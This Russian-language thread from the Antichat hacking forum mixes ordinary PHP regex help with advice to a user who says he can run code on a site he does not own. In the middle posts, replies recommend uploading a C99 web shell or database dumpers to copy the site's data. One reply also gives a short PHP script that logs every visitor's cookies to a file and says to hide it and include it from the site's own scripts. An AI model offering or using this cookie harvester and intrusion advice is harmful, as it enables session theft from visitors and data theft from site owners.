Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

08.11.2008, 02:49
|
|
Участник форума
Регистрация: 01.03.2006
Сообщений: 169
Провел на форуме: 519496
Репутация:
78
|
|
Добрый верер.. Вопрос по регуляркам. Вот отсюда http://newsland.ru/News/Detail/id/314704/cat/65/ надо вырезать текст
<div class="bodytext mt5">
<img src="/public/upload/news/big_internetrossiyaobschestvo.jpg" title="Россияне все больше любят виртуальных начальников" alt="Россияне все больше любят виртуальных начальников" class="floatr mt10">
<p>Российский сегмент Интернета постепенно приобретает официальное лицо. Если раньше власть мирилась с Сетью, как с неизбежным проявлением технического прогресса, то теперь сама активно осваивает виртуальное пространство.</p><p> С десяток лет в России действует государственная программа «Электронное правительство», согласно которой все министерства и ведомства обзавелись своими сайтами. Но после того как во главе государства встал, говоря на сленге, «продвинутый user» интерес чиновников к Интернету вырос.</p><p> Дмитрий Медведев обзавелся даже собственным видеоблогом и не исключено, что в Сеть скоро выйдут губернаторы, министры и главы силовых ведомств. Россияне с интересом восприняли появление виртуальной бюрократии. Об этом говорят данные опроса, проведенного исследовательским холдингом «Ромир». Выяснилось, что 77% респондентов посещали сайты государственных учреждений. Как ни странно, но более активно возможностью пообщаться в Сети с чиновниками пользуется не молодежь, а люди старшего возраста. </p><p>Если среди россиян в возрасте 18–24 лет чиновничьи сайты посещал 71% опрошенных, то среди людей старше 45 лет таких набралось 83%. Скорее всего, это объясняется тем, что у молодежи меньше причин обращаться к госорганам. При этом 62% респондентов заявили, что и в будущем будут пользоваться услугами онлайн-приемных чиновников различного уровня. </p><p>Отказников набралось только 8%, тогда как треть опрошенных пока еще не определились. Кроме возможности получить необходимую официальную информацию не выходя из дома, популярность официального Интернета среди россиян, наверное, объясняется и разительным отличием сетевой бюрократии от реальной. Как часто бывает в виртуальном мире, в Интернете чиновники выглядят вполне прилично – не хамят, взяток не берут и бессмысленных очередей не создают. В жизни им этого так не хватает…</p><p><em>Владлен Максимов </em></p>
</div>
<div class="newsctrl f12 mt10"><div>
<a href="http://www.newizv.ru/news/2008-11-07/101123/">Оригинал статьи на www.newizv.ru</a>
</div></div>
Пишу такую регулярку "#<div class=\"bodytext mt5\">(.*?)</div></div>#". Но не работает.. как можно по другому регулярку записать? что бы через preg_match грабился результат.
|
|
|

08.11.2008, 03:39
|
|
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме: 4832771
Репутация:
1916
|
|
тебе модификатор s надо было добавить)
PHP код:
preg_match('#<div class="bodytext mt5">(.+)</div>#s', $text, $out);
print_r($out);
|
|
|

08.11.2008, 12:10
|
|
Познающий
Регистрация: 05.11.2008
Сообщений: 79
Провел на форуме: 185461
Репутация:
12
|
|
какой нужен код(php, javascript) чтобы копирнуть БД с сайта если у меня есть возможность выполнить любой код на сайте (сайт находится на виртуальном хосте)
|
|
|

08.11.2008, 12:35
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме: 5321514
Репутация:
3313
|
|
Сообщение от sadfeel
какой нужен код(php, javascript) чтобы копирнуть БД с сайта если у меня есть возможность выполнить любой код на сайте (сайт находится на виртуальном хосте)
В PhpMyAdmin сделай бэкап
|
|
|

08.11.2008, 12:35
|
|
Постоянный
Регистрация: 06.05.2007
Сообщений: 393
Провел на форуме: 1510937
Репутация:
398
|
|
Сообщение от sadfeel
какой нужен код(php, javascript) чтобы копирнуть БД с сайта если у меня есть возможность выполнить любой код на сайте (сайт находится на виртуальном хосте)
http://sypex.net/
|
|
|

08.11.2008, 13:15
|
|
Познающий
Регистрация: 05.11.2008
Сообщений: 79
Провел на форуме: 185461
Репутация:
12
|
|
Сообщение от ChaaK
В PhpMyAdmin сделай бэкап
сайт не мой хз его пас на админку но могу выполнить любой скрипт
а есть скрипт который копирует все куки узера када он зайдет на нее (кроме те шо от сайта) и сохранит в файл)
Последний раз редактировалось sadfeel; 08.11.2008 в 13:23..
|
|
|

08.11.2008, 13:33
|
|
Познающий
Регистрация: 27.07.2008
Сообщений: 98
Провел на форуме: 405792
Репутация:
86
|
|
>>а есть скрипт который копирует все куки узера када он зайдет на нее (кроме те шо от сайта) и сохранит в файл)
нету
Для того, что бы сделать дамп базы нужны логин, пасс и имя базы. Если есть возможность залей шелл и будет тебе счастье.
|
|
|

08.11.2008, 13:34
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме: 5321514
Репутация:
3313
|
|
Сообщение от sadfeel
сайт не мой хз его пас на админку но могу выполнить любой скрипт
а есть скрипт который копирует все куки узера када он зайдет на нее (кроме те шо от сайта) и сохранит в файл)
1. http://www.openproj.ru/70/ - MySqlDumper + в шелле C99 от madnet есть функция дампа БД.
2. Политика браузера не позволит скопировать кукисы от чужих сайтов.
Сохранять кукисы можно так:
PHP код:
<?php
$cook = implode(';',$_COOKIE);
$fp = fopen('cookies.txt','at');
fputs($fp,$cook."\n");
fclose($fp);
?>
Создай в какой-нибудь далекой папочке скрипт, и из чужих скриптов инклудь функцией include(путь до сохранялки);
Последний раз редактировалось ChaaK; 08.11.2008 в 13:38..
|
|
|

08.11.2008, 14:06
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
в шелле C99 от madnet есть функция дампа БД.
для больших баз совершенно не годится, всегда использую Sypex Dumper
|
|
|

08.11.2008, 15:47
|
|
Участник форума
Регистрация: 20.07.2008
Сообщений: 177
Провел на форуме: 625939
Репутация:
54
|
|
не знаю регулярку пока...как минимизировать?
PHP код:
$txt=str_ireplace(" ".$o." "," ".$s." ",$txt);
$txt=str_ireplace(" ".$o.","," ".$s.",",$txt);
$txt=str_ireplace(" ".$o."."," ".$s.".",$txt);
$txt=str_ireplace(" ".$o."?"," ".$s."?",$txt);
$txt=str_ireplace(" ".$o."!"," ".$s."!",$txt);
$txt=str_ireplace(" ".$o.":"," ".$s.":",$txt);
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|